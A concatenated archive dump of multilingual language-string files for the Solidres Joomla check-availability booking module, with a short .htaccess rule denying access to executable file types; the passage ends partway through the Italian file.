SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="No default and published property found. Make sure that you have at least 01 default property in your system and it must be published."mod_sr_checkavailability/language/el-GR/el-GR.mod_sr_checkavailability.ini000060400000006600150747276150022705 0ustar00; GR translation Completed on March 10, 2015, By Yan Tsarbopoulo

MOD_SR_CHECKAVAILABILITY="Solidres - Module για Έλεγχο Διαθεσιμότητας"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres: Module για Έλεγχο Διαθεσιμότητας"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Ημερομηνία Αφιξης"
SR_SEARCH_CHECKOUT_DATE="Ημερομηνία Αναχώρησης"
SR_SEARCH="Αναζήτηση"
SR_RESET="Εκκαθάριση"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="Στόχος itemID"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Πληκτρολογήστε το itemID του μενού Solidres σας, ώστε η σελίδα αποτελεσμάτων να εμφανιστεί σωστά"
SR_YOUR_RESERVATION="Η Κράτησή σας"
SR_SEARCH_ROOMS="Δωμάτια"
SR_SEARCH_ROOM="Δωμάτιο"
SR_SEARCH_ROOM_ADULTS="Ενήλικες"
SR_SEARCH_ROOM_CHILDREN="Παιδιά"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Μέγιστος Αριθμός δωματίων"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Εισάγετε τον μέγιστο αριθμό Δωματίων που θα μπορούσε να επιλεγεί στο Front-End του Site. Η προεπιλογή είναι 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Μέγιστος Αριθμός Ενηλίκων"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Εισάγετε τον μέγιστο αριθμό Ενηλίκων που θα μπορούσε να επιλεγεί στο Front-End του Site. Η προεπιλογή είναι 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Μέγιστος Αριθμός Παιδιών"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Εισάγετε τον μέγιστο αριθμό Παιδιών που θα μπορούσε να επιλεγεί στο Front-End του Site. Η προεπιλογή είναι 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Ενεργοποίηση Ποσότητας Δωματίων"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Ενεργοποίηση έτσι ώστε στο Front-End να επιτραπεί στούς Επισκέπτες η επιλογή ποσότητας Δωματίων, Ενηλίκων και Παιδιών."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Enable room type dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="This option will enable the room type drop down in front end for guest selection, the room type list will be retrieved from the default property."
SR_SEARCH_ROOMTYPES="Room types"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Hide room quantity"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Hide room quantity option so that guest can not choose the number of room, this option is suitable for apartment booking site."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Merge adult & child"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Instead of showing two separated field for adult quantity and child quantity, let show only 1 field for guest quantity"
SR_SEARCH_GUESTS="Guests"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="No default and published property found. Make sure that you have at least 01 default property in your system and it must be published."mod_sr_checkavailability/language/el-GR/el-GR.mod_sr_checkavailability.sys.ini000060400000000441150747276150023517 0ustar00; GR translation Completed on March 10, 2015, By Yan Tsarbopoulo

MOD_SR_CHECKAVAILABILITY="Solidres - Module για Έλεγχο Διαθεσιμότητας"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres - Module για Έλεγχο Διαθεσιμότητας στο Front-End"mod_sr_checkavailability/language/.htaccess000044400000000177150747276150015161 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_sr_checkavailability/language/he-IL/he-IL.mod_sr_checkavailability.ini000060400000007635150747276150022676 0ustar00MOD_SR_CHECKAVAILABILITY="Solidres - מודול בדיקת זמינות"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - מודול בדיקת זמינות מאפשר לאורחים בחזית לבדוק זמינות עבור יחידות האירוח המוגדרות <strong>כברירת מחדל</strong> באפשרותך לשנות את יחידת האירוח המוגדרת כברירת מחדל באמצעות עריכת יחידת האירוח - בלשונית פרסום - שדה ברירת מחדל.</p><p>מודול זה יכול להיות מפורסם במודול התבנית שלך או להיטמע במאמרי Joomla על ידי שימוש בתחביר הבא: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. הערה: החלף את 'Your module title' עם כותרת המודול שלך</p>"

; Param Strings
SR_SEARCH_CHECKIN_DATE="תאריך הגעה"
SR_SEARCH_CHECKOUT_DATE="תעריך עזיבה"
SR_SEARCH="בדיקה"
SR_RESET="אתחול"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="מס׳ מזהה של מוצר המטרה"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="בחר פריט בתפריט אליו ינותב מודול זה, זה נדרש על מנת להציג את דף התוצאות בצורה נכונה. בדרך כלל סוג התפריט הזה צריך להיות 'הצג יחידת אירוח יחידה'"
SR_YOUR_RESERVATION="ההזמנה שלך"
SR_SEARCH_ROOMS="חדרים"
SR_SEARCH_ROOM="חדר"
SR_SEARCH_ROOM_ADULTS="מבוגרים"
SR_SEARCH_ROOM_CHILDREN="ילדים"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="מס׳ חדרים מקסימלי"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="הכנס את מספר החדרים המקסימלי הניתן לבחירה בחזית. ברירת המחדל היא 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="מסק מבוגרים מקסימלי"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="הכנס את מספר המבוגרים המקסימלי הניתן לבחירה בחזית. ברירת המחדל היא 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="מס׳ ילדים מקסימלי"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="הכנס את מספר הילדים המקסימלי הניתן לבחירה בחזית. ברירת המחדל היא 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="אפשר כמות חדרים"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="אפשר כמות חדרים בחזית על מנת לאפשר לאורחים לבחור כמות חדרים, כמות מבוגרים וכמות ילדים"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="אפשר תפריט נגלל של סוגי חדרים"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="אפשרות זו תאפשר תפריט נגלל לבחירת סוג חדר בחזית על ידי האורח, רשימת סוגי החדרים תישאב מיחידת האירוח המוגדרת כברירת מחדל"
SR_SEARCH_ROOMTYPES="סוגי חדרים"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="הסתר כמות חדרים"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="הסתר אפשרות כמות חדרים כדי שהאורח לא יוכל חבור מספר חדרים, אפשרות זו מתאימה לאתרי הזמנת דירות"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="אחד ילדים ומבוגרים"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="במקום להציג בשני שדות נפרדים כמות ילדים וכמות מבוגרים, הצג שדה אחד עבור כמות אורחים"
SR_SEARCH_GUESTS="אורחים"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="לא נמצאה יחידת אירוח ברירת מחדל ומפורסמת. אנא וודא שיש לך לפחות יחידת ברירת מחדל אחת במערכת ועליה להיות מפורסמת."mod_sr_checkavailability/language/he-IL/he-IL.mod_sr_checkavailability.sys.ini000060400000001512150747276150023477 0ustar00MOD_SR_CHECKAVAILABILITY="Solidres - מודול בדיקת זמינות"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - מודול בדיקת זמינות מאפשר לאורחים בחזית לבדוק זמינות עבור יחידות האירוח המוגדרות <strong>כברירת מחדל</strong> באפשרותך לשנות את יחידת האירוח המוגדרת כברירת מחדל באמצעות עריכת יחידת האירוח - בלשונית פרסום - שדה ברירת מחדל.</p><p>מודול זה יכול להיות מפורסם במודול התבנית שלך או להיטמע במאמרי Joomla על ידי שימוש בתחביר הבא: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. הערה: החלף את 'Your module title' עם כותרת המודול שלך</p>"mod_sr_checkavailability/language/fr-FR/fr-FR.mod_sr_checkavailability.ini000060400000005225150747276150022723 0ustar00; Administrator Module Language File
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres: modulo per la verifica della disponibilità"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Arrivée"
SR_SEARCH_CHECKOUT_DATE="Départ"
SR_SEARCH="Rechercher"
SR_RESET="Annuler"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="ItemID target"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Entrez l'itemID de votre menu Solidres, de manière que la page des résultats peut être  visualisée correctement"
SR_YOUR_RESERVATION="Votre réservation"
SR_SEARCH_ROOMS="Chambres"
SR_SEARCH_ROOM="Chambre"
SR_SEARCH_ROOM_ADULTS="Adultes"
SR_SEARCH_ROOM_CHILDREN="Enfants"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Numero maximum de chambres"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Indiquer le nombre maximum des pièces que vous pouvez choisir dans le front-end. Par défaut est 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Numero maximum des adultes"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Indiquer le nombre maximum des adultes  que vous pouvez choisir dans le front-end. Par défaut est 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Numero maximum des enfants"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Indiquer le nombre maximum des enfants que vous pouvez choisir dans le front-end. Par défaut est 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Habiliter  la quantité des chambres"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Habiliter  la quantité des chambres dans le front-end pour faire choisir aux utilisateurs la quantité des chambres, des adultes et des enfants."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Enable room type dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="This option will enable the room type drop down in front end for guest selection, the room type list will be retrieved from the default property."
SR_SEARCH_ROOMTYPES="Room types"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Hide room quantity"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Hide room quantity option so that guest can not choose the number of room, this option is suitable for apartment booking site."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Merge adult & child"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Instead of showing two separated field for adult quantity and child quantity, let show only 1 field for guest quantity"
SR_SEARCH_GUESTS="Guests"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="No default and published property found. Make sure that you have at least 01 default property in your system and it must be published."mod_sr_checkavailability/language/fr-FR/fr-FR.mod_sr_checkavailability.sys.ini000060400000000253150747276150023534 0ustar00MOD_SR_CHECKAVAILABILITY="Solidres - Module recherche disponibilité"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres - le module pour la recherche de la disponiblité"mod_sr_checkavailability/language/en-GB/en-GB.mod_sr_checkavailability.ini000060400000006120150747276150022646 0ustar00MOD_SR_CHECKAVAILABILITY="Solidres - Module check availability"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - Module check availability is used in front-end by guests to check availability for the <strong>default</strong> property. You can change the default property by editing your property - tab Publishing - field Default.</p><p>This module can be published in your template module positions or embed into Joomla articles using the following syntax: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. Note: you should replace 'Your module title' with your actual module title</p>"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Arrival Date"
SR_SEARCH_CHECKOUT_DATE="Departure Date"
SR_SEARCH="Check"
SR_RESET="Reset"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="Target itemid"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Choose a menu item that this module will redirect to, it is required in order for the results page to be displayed correctly. Normally the type of this menu should be 'Show single property'"
SR_YOUR_RESERVATION="Your reservation"
SR_SEARCH_ROOMS="Rooms"
SR_SEARCH_ROOM="Room"
SR_SEARCH_ROOM_ADULTS="Adults"
SR_SEARCH_ROOM_CHILDREN="Children"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Max room number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Enter the maximum number of rooms quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Max adult number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Enter the maximum number of adult quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Max child number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Enter the maximum number of children quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Enable room quantity"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Enable room quantity in front end to allow guest choosing room quantity, adult quantity and children quantity."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Enable room type dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="This option will enable the room type drop down in front end for guest selection, the room type list will be retrieved from the default property."
SR_SEARCH_ROOMTYPES="Room types"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Hide room quantity"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Hide room quantity option so that guest can not choose the number of room, this option is suitable for apartment booking site."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Merge adult & child"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Instead of showing two separated field for adult quantity and child quantity, let show only 1 field for guest quantity"
SR_SEARCH_GUESTS="Guests"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="No default and published property found. Make sure that you have at least 01 default property in your system and it must be published."mod_sr_checkavailability/language/en-GB/en-GB.mod_sr_checkavailability.sys.ini000060400000001145150747276150023465 0ustar00MOD_SR_CHECKAVAILABILITY="Solidres - Module check availability"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - Module check availability is used in front-end by guests to check availability for the <strong>default</strong> property. You can change the default property by editing your property - tab Publishing - field Default.</p><p>This module can be published in your template module positions or embed into Joomla articles using the following syntax: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. Note: you should replace 'Your module title' with your actual module title</p>"mod_sr_checkavailability/language/ru-RU/ru-RU.mod_sr_checkavailability.sys.ini000060400000000306150747276150023627 0ustar00MOD_SR_CHECKAVAILABILITY="Solidres - Модуль проверки доступности"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres - Модуль проверки доступности"mod_sr_checkavailability/language/ru-RU/ru-RU.mod_sr_checkavailability.ini000060400000011043150747276150023012 0ustar00MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres: Модуль проверки доступности"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - Модуль проверки доступности используется гостями, чтобы проверить доступность для объекта <strong>default</strong> по умолчанию. Вы можеие изменить объект по умолчанию, отредактировав таблицу объектов/поле публикации по умолчанию. </p><p> Этот модуль может быть публиковаться в модуле шаблона или быть встроенным в Joomla  с использованием следующей формулы: <strong>{loadmodule sr_checkavailability,Имя вашего модуля}</strong>.  Обратите внимание: нужно заменить  'Имя вашего модуля' на заголовок модуля</p>"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Дата заезда"
SR_SEARCH_CHECKOUT_DATE="Дата выезда"
SR_SEARCH="Проверить"
SR_RESET="Сбросить"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="Целевой itemid"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Выберите пункт меню, на который будет перенаправлять данный модуль. Необходимо для правильного отображения результатов поиска."
SR_YOUR_RESERVATION="Ваше бронирование"
SR_SEARCH_ROOMS="Номера"
SR_SEARCH_ROOM="Номер"
SR_SEARCH_ROOM_ADULTS="Взрослые"
SR_SEARCH_ROOM_CHILDREN="Дети"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Максимальное кол-во номеров"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Введите максимальное количество номеров, которые можно будет выбрать на экране. По умолчанию составляет 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Максимальное кол-во взрослых"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Введите максимальное кол-во взрослых, которое можно будет выбрать на экране. По умолчанию составляет 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Максимальное кол-во детей"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Введите максимальное кол-во детей, которое можно будет выбрать на экране. По умолчанию составляет 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Включить количество номеров"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Включить количество номеров на экране, чтобы позволить гостям выбрать номера, количество взрослых и количество детей."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Включить выпадающий список с номерами"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="Эта опция включит выпадающий список категорий номеров для бронирования, список номеров будет выбран из гостиницы"
SR_SEARCH_ROOMTYPES="Категории номеров"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Скрыть количество ногмеров"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Hide room quantity option so that guest can not choose the number of room, this option is suitable for apartment booking site."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Единое поле для ввода количества взрослых и детей"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Instead of showing two separated field for adult quantity and child quantity, let show only 1 field for guest quantity"
SR_SEARCH_GUESTS="Гостей"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="Не найдены гостиницы по умолчанию и опубликованные гостиницы. Убедитесь, что у Вас есть хотя бы 01 гостиница по умолчанию и она должна быть опубликована."
mod_sr_checkavailability/language/cs-CZ/cs-CZ.mod_sr_checkavailability.ini000060400000004741150747276150022733 0ustar00
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres: Modul pro zjištění dostupnosti"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Datum příjezdu"
SR_SEARCH_CHECKOUT_DATE="Datum odjezdu"
SR_SEARCH="Zkontroluj"
SR_RESET="Reset"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="Cílové itemid"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Vložte itemid pro Vaše Solidres menu, pro správné zobrazení stránky výsledku"
SR_YOUR_RESERVATION="Vaše rezervace"
SR_SEARCH_ROOMS="Rooms"
SR_SEARCH_ROOM="Room"
SR_SEARCH_ROOM_ADULTS="Adults"
SR_SEARCH_ROOM_CHILDREN="Children"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Max room number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Enter the maximum number of rooms quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Max adult number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Enter the maximum number of adult quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Max child number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Enter the maximum number of children quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Enable room quantity"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Enable room quantity in front end to allow guest choosing room quantity, adult quantity and children quantity."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Enable room type dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="This option will enable the room type drop down in front end for guest selection, the room type list will be retrieved from the default property."
SR_SEARCH_ROOMTYPES="Room types"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Hide room quantity"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Hide room quantity option so that guest can not choose the number of room, this option is suitable for apartment booking site."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Merge adult & child"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Instead of showing two separated field for adult quantity and child quantity, let show only 1 field for guest quantity"
SR_SEARCH_GUESTS="Guests"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="No default and published property found. Make sure that you have at least 01 default property in your system and it must be published."mod_sr_checkavailability/language/cs-CZ/cs-CZ.mod_sr_checkavailability.sys.ini000060400000000213150747276150023536 0ustar00MOD_SR_CHECKAVAILABILITY="Solidres - Modul dostupnosti"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres - Module ověření dostupnosti"mod_sr_checkavailability/language/es-ES/es-ES.mod_sr_checkavailability.ini000060400000006020150747276150022715 0ustar00MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres: Módulo de reservas"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - Module check availability is used in front-end by guests to check availability for the <strong>default</strong> property. You can change the default property by editing your property - tab Publishing - field Default.</p><p>This module can be published in your template module positions or embed into Joomla articles using the following syntax: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. Note: you should replace 'Your module title' with your actual module title</p>"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Fecha de Entrada"
SR_SEARCH_CHECKOUT_DATE="Fecha de Salida"
SR_SEARCH="Check"
SR_RESET="Reset"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="Target itemid"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Introduzca el Id del elemento de su Menú Solidres, con el fin de mostrarlo correctamente en la página de resultados"
SR_YOUR_RESERVATION="Tu reserva"
SR_SEARCH_ROOMS="Rooms"
SR_SEARCH_ROOM="Room"
SR_SEARCH_ROOM_ADULTS="Adults"
SR_SEARCH_ROOM_CHILDREN="Children"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Max room number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Enter the maximum number of rooms quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Max adult number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Enter the maximum number of adult quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Max child number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Enter the maximum number of children quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Enable room quantity"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Enable room quantity in front end to allow guest choosing room quantity, adult quantity and children quantity."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Enable room type dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="This option will enable the room type drop down in front end for guest selection, the room type list will be retrieved from the default property."
SR_SEARCH_ROOMTYPES="Room types"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Hide room quantity"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Hide room quantity option so that guest can not choose the number of room, this option is suitable for apartment booking site."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Merge adult & child"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Instead of showing two separated field for adult quantity and child quantity, let show only 1 field for guest quantity"
SR_SEARCH_GUESTS="Guests"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="No default and published property found. Make sure that you have at least 01 default property in your system and it must be published."mod_sr_checkavailability/language/es-ES/es-ES.mod_sr_checkavailability.sys.ini000060400000001145150747276150023535 0ustar00MOD_SR_CHECKAVAILABILITY="Solidres - Module check availability"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - Module check availability is used in front-end by guests to check availability for the <strong>default</strong> property. You can change the default property by editing your property - tab Publishing - field Default.</p><p>This module can be published in your template module positions or embed into Joomla articles using the following syntax: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. Note: you should replace 'Your module title' with your actual module title</p>"mod_sr_checkavailability/language/it-IT/it-IT.mod_sr_checkavailability.ini000060400000004600150747276150022743 0ustar00MOD_SR_CHECKAVAILABILITY="Solidres: modulo per la verifica della disponibilità"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - Module check availability is used in front-end by guests to check availability for the <strong>default</strong> asset. You can change the default asset by editing your asset - tab Publishing - field Default.</p><p>This module can be published in your template module positions or embed into Joomla articles using the following syntax: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. Note: you should replace 'Your module title' with your actual module title</p>"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Data di Arrivo"
SR_SEARCH_CHECKOUT_DATE="Data di Partenza"
SR_SEARCH="Cerca"
SR_RESET="Cancella"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="ItemID target"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Inserisci l'itemID del vostro menu Solidres, in modo che la pagina dei risultati possa essere visualizzata correttamente"
SR_YOUR_RESERVATION="La tua Prenotazione"
SR_SEARCH_ROOMS="Camere"
SR_SEARCH_ROOM="Camera"
SR_SEARCH_ROOM_ADULTS="Adulti"
SR_SEARCH_ROOM_CHILDREN="Bambini"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Numero massimo camere"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Inserisci il numero massimo di camere che si possono scegliere nel front end. Default è 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Numero massimo adulti"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Inserisci il numero massimo di adulti che si possono scegliere nel front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Numero massimo bambini"
